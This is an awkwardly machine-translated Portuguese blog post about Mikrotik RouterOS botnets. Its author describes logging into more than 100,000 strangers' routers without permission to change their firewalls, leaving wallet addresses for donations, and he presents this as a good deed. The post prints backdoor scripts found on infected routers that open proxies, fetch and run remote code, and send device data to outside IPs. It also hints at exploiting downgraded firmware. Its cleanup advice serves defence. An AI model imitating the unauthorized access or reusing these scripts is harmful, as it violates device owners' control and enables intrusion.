Por que os hackers Mikrotik e como eu escondi 100 mil.RotterOS de uma botnet

O RouterOS é uma ferramenta muito poderosa nas mãos de profissionais e profissionais responsáveis. Mas nas mãos de iniciantes ou de quem faz tudo no "e assim sai" o Mikrotik começa a viver sua própria vida e se transforma em um nó de botnet.

Em maio de 2018, escrevi um artigo com recomendações sobre como proteger meu Mikrotik .

Curiosamente, ainda existem milhares de roteadores Mikrotik "abertos" na rede e o exército da botnet está reabastecendo.

No meu tempo livre de trabalho e lazer, procurei dispositivos vulneráveis ​​em toda a rede e fiz as configurações de acordo com minhas recomendações, ou seja, adicionei regras de firewall que bloqueavam o acesso ao roteador e não da rede local. Nos comentários, escrevi informações sobre a vulnerabilidade e deixei o endereço do canal de telegrama @router_os, onde eu poderia fazer perguntas de interesse (elas deveriam aparecer em um administrador normal).



De maio até os dias atuais, "puxei" mais de 100 mil dispositivos Mikrotik das garras da botnet.

Como não posso falar na MUM 2018 em Moscou , decidi publicar meu relatório no habr.com

Existem muitas análises na rede exatamente como o RouterOS é usado pelos hackers (por exemplo, aqui ). Mas meu artigo é baseado pessoalmente na minha experiência.

Administradores e sua reação


Em todo o mundo, os administradores de roteadores descobriram, mais cedo ou mais tarde, esse ovo de Páscoa.



/ nota do sistema
/system note print
show-at-login: yes
note: I closed the vulnerability with a firewall. Please update RouterOS. You can say thanks on the WebMoney Z399578297824 or BTC 14qiYkk3nUgsdqQawiMLC1bUGDZWHowix1. My Telegram http://t.me/router_os


O mais silenciosamente cobriu o buraco. Alguém não teve preguiça de me escrever "obrigado". Mas houve quem se ressentisse alto por não entender.

Um especialista normal deve responder adequadamente quando indicar seu erro.


Durante todo o tempo, não mais que 50 pessoas me escreveram ...

Como a reação dos usuários foi mínima, cheguei à conclusão de que a grande maioria nem notará que algo está errado no roteador. Portanto, comecei a refinar meu script, que, além das regras do firewall, excluirá as backdoors conhecidas por mim que os invasores deixaram.

É lógico que meu método não se adapte a todos. Mas ainda não criei uma abordagem diferente para esta tarefa.

Os hackers adoram o RouterOS


Na grande maioria dos casos, acabei em um dispositivo que já está infectado por alguém. Infelizmente, não comecei imediatamente a analisar o conteúdo deles. Aqui está o que eu encontrei e qual será um sinal claro de que seu roteador está comprometido.

Proxies da Web e Meias


O uso mais comum do roteador é através de proxies padrão da Web e de meias. Se você não os usar, mas eles estiverem ligados, basta desligá-los.

/ip proxy set enabled=no
/ip socks set enabled=no

Mas, para desativá-lo, o hacker adiciona um script ao sheduler, que o proxy ativará depois de um tempo:

/ script de sistema
/system scheduler
add interval=10m name="port 54321" on-event="port 54321" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=sep/02/2018 start-time=20:35:53
/system script
add name="port 54321" owner=gateway policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="/\
ip firewall filter remove [/ip firewall filter find where comment ~ \"port\
\_[0-9]*\"];/ip socks set enabled=yes port=54321 max-connections=255 conne\
ction-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip \
firewall filter add chain=input protocol=tcp port=54321 action=accept comm\
ent=\"port 54321\";/ip firewall filter move [/ip firewall filter find comm\
ent=\"port 54321\"] 1;"


Você pode encontrar o arquivo webproxy/error.html que o proxy webproxy/error.html você e, por sua vez, chama o mineiro.

Parâmetros extras aparecem aqui:

/ip proxy access print
/ip socks access print


Script pode fazer qualquer coisa


90% dos Mikrotiks completos possuem scripts /system script e, para eles, o agendamento de execução /system scheduler configurado.

De acordo com a programação, é baixado um script, que é executado posteriormente.

Instalação mineira
/system scheduler
add interval=11h name=upd113 on-event="/tool fetch url=http://gotan.bit:31415/\
01/error.html mode=http dst-path=webproxy/error.html" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd115 on-event=\
"/tool fetch url=http://gotan.bit:31415/01/u113.rsc mode=http" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd116 on-event="/import u113.rsc" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:12
add interval=1d name=Auto113 on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:00:00
/system script
add name=script4_ owner=nivel2 policy=\
ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch a\
ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http keep-resu\
lt=no"


Outra versão do script, que após o aplicativo tenta ocultar parcialmente.
/system scheduler
add interval=11s name=MTIT on-event="/system script run MTIT" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
add interval=25m name="DDNS Serv" on-event="/system script run iDDNS" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
/system script
add name=MTIT owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=\
"/ping 10.12.0.26 interface=ether4 count=10"
add name=iDDNS owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=":global\
\_mac [/interface ethernet get 1 mac-address]\r\
\n:global port ([/ip service get winbox port].\"_\".[/ip socks get port].\
\"_\".[/ip proxy get port])\r\
\n:global info ([/ip socks get enabled].\"_\".[/ip proxy get enabled].\"_\
\".[/interface pptp-server server get enabled])\r\
\n:global cmd \"/\$mac/\$port/\$info/dns\"\r\
\n/tool fetch address=91.134.24.238 src-path=\$cmd mode=http dst-path=dns;\
:delay 3s\r\
\n/import dns;:delay 4s;/file remove dns"


Assim, os invasores sempre têm a oportunidade de "alimentar" um novo script e, por exemplo, realizar um ataque DDOS em larga escala.

Os scripts podem estar ocultos em qualquer lugar



Portanto, verifique esses locais com cuidado. Em um RouterOS limpo, esses lugares estão vazios.

DST-NAT


Para minha grande surpresa, mas existem muitos desses dispositivos nos quais o tráfego é desviado através do /ip firewall nat .

Spam na dst-nat

/ip firewall nat
add action=masquerade chain=srcnat comment="default configuration"
add action=masquerade chain=srcnat
add action=dst-nat chain=dstnat dst-port=4444 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-port=8008 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=8008 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=443 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=25 protocol=\
tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.52 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.186 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.89.69 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.70 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.104 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.72.197 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.180.118 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=151.80.59.84 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444


Uma boa maneira de esconder o seu ip real.

VPN


Como sem ele. O RouterOS pode pegar vários tipos de VPN, mas os hackers costumam usar o pptp e o L2TP.

Então verifique a seção /ppp secret

Mesmo que esta seção esteja vazia, hackers astutos podem fazer login via Radius.
Verificar registros /radius print
Se você não configurou nada, ele deve estar vazio. Caso contrário, vale a pena limpar:
/radius remove numbers=[/radius find ]
E proibir o uso de Radius
/ppp aaa set use-radius=no use-circuit-id-in-nas-port-id=no
Desativar o uso do Radius para autorização no dispositivo
/user aaa set use-radius=no

Se você não usar vpn, desative-o
/interface l2tp-server server set enabled=no
/interface pptp-server server set enabled=no
/interface sstp-server server set enabled=no


Estático DNS


Não foi sem fischig. Nos roteadores em / ip dns static, você pode encontrar tais


Tudo é muito simples: você direciona o endereço de um site que você conhece para a barra de endereços, mas na verdade você acessa o servidor do invasor.

Excluir conteúdo

/ip dns static remove numbers=[/ip dns static find]

Cortando direitos de administrador



UPD: Há também um grupo de roteadores em que o hacker cortou os direitos de administrador e começou o seu com todos os direitos (por exemplo, roteador e cnt), ou simplesmente tira os direitos e atualiza o firmware para o mais recente.



conteúdo / usuário no primeiro caso
[roteador @ MikroTik]> / user print
Sinalizadores: X - desativado
# NOME ENDEREÇO ​​DO GRUPO ÚLTIMO LOGIN
0 ;;; usuário padrão do sistema
admin admin set / 18/2018 15:08:45
1 dima total set / 14/2018 19:54:00
2 roteador completo set / 26/2018 09:23:41

[router @ MikroTik]> / grupo de usuários print
0 nome = política de “leitura” = local, telnet, ssh, reinicialização, leitura, teste, winbox, senha, web, sniff, sensível, api, romon, tikapp ,! Ftp ,! Write ,! Policy ,! Cara skin = default

1 nome = política de "gravação" = local, telnet, ssh, reinicialização, leitura, gravação, teste, winbox, senha, web, sniff, sensível, api, romon, tikapp ,! Ftp ,! Policy ,! Cara skin = padrão

2 nome = política "completa" = local, telnet, ssh, ftp, reinicialização, leitura, gravação, política, teste, winbox, senha, web, sniff, sensível, api, romon, cara, tikapp skin = padrão

3 name = política “admin” = local, ftp, reinicialização, leitura, gravação, teste, winbox, senha, web, sniff, sensível, api ,! Telnet ,! Ssh ,! Policy ,! Romon ,! Cara,! Tikapp skin = padrão


Como opção para resolver esse problema: através do netinstall, faça o downgrade para firmware vulnerável e use a exploração.

Farejador de pacotes


Os colegas da Kaspersky Lab mencionaram o roubo de tráfego redirecionando-o para um nó desconhecido.

Você pode desativá-lo assim:
/tool sniffer stop
/tool sniffer set streaming-enabled=no filter-ip-protocol="" filter-port="" filter-interface="" filter-stream=no


Problema no produto Mikrotik


Sistemas absolutamente seguros não existem. E a distribuição em massa dos produtos Mikrotik também envolveu um estudo maciço desses dispositivos.
Como a funcionalidade do RouterOS permite executar um grande número de tarefas, também é interessante para hackers.

Devido ao fato de o produto estar se desenvolvendo muito dinamicamente, a taxa de surgimento de novos “buracos” também é grande. Apesar disso, o Mikrotik emite rapidamente patches para seus sistemas.

Sair


Até o momento, a única solução correta para proteger o RouterOS é um firewall configurado corretamente, que funciona com o princípio de "tudo o que claramente não é permitido é proibido".
E tudo porque o Mikrotik usa o firewall clássico do Linux, que é aperfeiçoado por um exército de especialistas há anos.

Se você precisar acessar o dispositivo a partir da rede global, use o princípio de " porta batendo ". O princípio “fail2ban” nem sempre se justifica, pois ainda detecta o dispositivo.

Soluções globais


Modo Lamer


Como os dispositivos são muito baratos, eles são comprados por usuários que não possuem conhecimentos especiais. O Mikrotik precisa desenvolver uma interface "lamer", que possua um número mínimo de configurações, como a maioria dos roteadores SOHO. Além disso, deve ser o padrão. E o usuário deve ativar o modo avançado conscientemente sozinho. A atual "Configuração rápida" não é boa o suficiente. Além disso, devido à abundância de botões, o usuário pode não perceber essa função.

Analisador de erros


Também requer um módulo que analise a configuração atual em busca de possíveis vulnerabilidades e notifique o usuário se ele acredita que o roteador pode estar comprometido. Este módulo deve carregar a “base de conhecimento” que os funcionários da Mikrotik preenchem com base em erros comuns. E em caso de vulnerabilidades graves, ative o modo "emergência".
Se eu pudesse sistematizar parte das ameaças, então os desenvolvedores e mais ainda ...

Firewall - como um serviço de provedores


O mercado de dispositivos "inteligentes" está se desenvolvendo rapidamente e eles estão longe de estar bem protegidos. A maioria das pessoas que os compra também não possui conhecimentos especiais para proteger seus aparelhos por conta própria.

Portanto, é hora de os provedores de Internet criarem um serviço comercial para proteger esses gadgets. O usuário comum em sua conta indica quais portas abrir na Internet.
Os fornecedores também podem criar um banco de dados centralizado de dispositivos existentes e suas necessidades normais. O usuário indica no LC quais dispositivos ele está usando. Em caso de comportamento anormal de um dispositivo assim, notifique o usuário.
Acredito que o mercado já esteja maduro para esse serviço.

Este serviço tem as seguintes vantagens:

  1. Para o provedor, outro item de receita
  2. Reduza o tráfego falso
  3. Reduzir o recrutamento de dispositivos para botnet
  4. Promoção do desenvolvimento de serviços domésticos inteligentes
  5. Os usuários não podem mais se preocupar com sua segurança.

Um pouco sobre você


Vou tentar responder às perguntas que eles provavelmente vão me fazer.

  1. Trabalho em posições não relacionadas ao Mikrotik e redes em geral.
  2. No entanto, eu tenho um certificado MTCNA.
  3. Mikrotik é o meu hobby. Tudo o que faço - eu gosto disso. Por assim dizer "por diversão".
  4. Por que não conseguiu um emprego por perfil? Quem compra o mikrotik em nossa cidade não pode pagar muito ZP. Aqueles que podem me pagar dignos compram cisco.
  5. Nos comentários sobre o firewall, eu indiquei minhas carteiras, mas desde maio elas me jogaram apenas cerca de US $ 40. Eles escreveram para telegramas de diferentes países, dizendo que eles não têm wmz, mas mesmo assim, "obrigado".

PS:


Compartilhe sua experiência de que outra maneira os hackers podem usar o Mikrotik.

Source: https://habr.com/ru/post/pt424433/


All Articles